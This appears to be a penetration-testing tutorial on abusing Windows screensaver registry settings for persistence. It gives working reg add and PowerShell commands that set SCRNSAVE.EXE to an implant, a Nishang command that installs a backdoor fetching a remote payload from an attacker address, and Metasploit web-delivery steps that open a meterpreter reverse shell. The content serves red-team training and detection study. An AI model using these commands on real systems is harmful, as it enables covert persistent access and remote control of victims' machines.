Screensavers are part of Windows functionality and enable users to put a screen message or a graphic animation after a period of inactivity. This feature of Windows it is known to be abused by threat actors as a method of persistence. This is because screensavers are executable files that have the .scr file extension and are executed via the scrnsave.scr utility.

Screensaver settings are stored in the registry and the values that are considered most valuable from an offensive perspective are:

HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveActive
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaverIsSecure
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveTimeOut

Registry keys can be modified or added via the command prompt or from a PowerShell console. Since the .scr files are essentially executables both extensions can be used to the file that will act as the implant.

reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d c:\tmp\pentestlab.exe
reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d c:\tmp\pentestlab.scr
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' -Name 'SCRNSAVE.EXE' -Value 'c:\tmp\pentestlab.exe'
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' -Name 'SCRNSAVE.EXE' -Value 'c:\tmp\pentestlab.scr'

Once the period of inactivity is passed the arbitrary payload will executed and a communication will the command and control will established again.

Nishang framework contains a PowerShell script which can also perform this attack but it requires administrative level privilege compare to method above since it is using a registry key in the local machine to store the PowerShell command that will execute a remotely hosted payload. The benefit from this technique is that it doesn’t touches the disk.

Import-Module .\Add-ScrnSaveBackdoor.ps1
Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.145:8080/Bebr7aOemwFJO

Metasploit web delivery module can be used to generate and host the PowerShell payload in this scenario. Once the user session becomes idle the screensaver will execute the PowerShell payload and a meterpreter session will open.

use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST IP_Address
set target 2
exploit

The issue with the persistence technique that utilize screensavers is that the session will drop when the user returns back and the system is not in idle mode. However red teams can perform their operations during the absence of the user. If screensavers are disabled by group policy this technique cannot be used for persistence.

References

• https://attack.mitre.org/techniques/T1180/
• http://www.labofapenetrationtester.com/2015/02/using-windows-screensaver-as-backdoor.html
• https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1180/T1180.md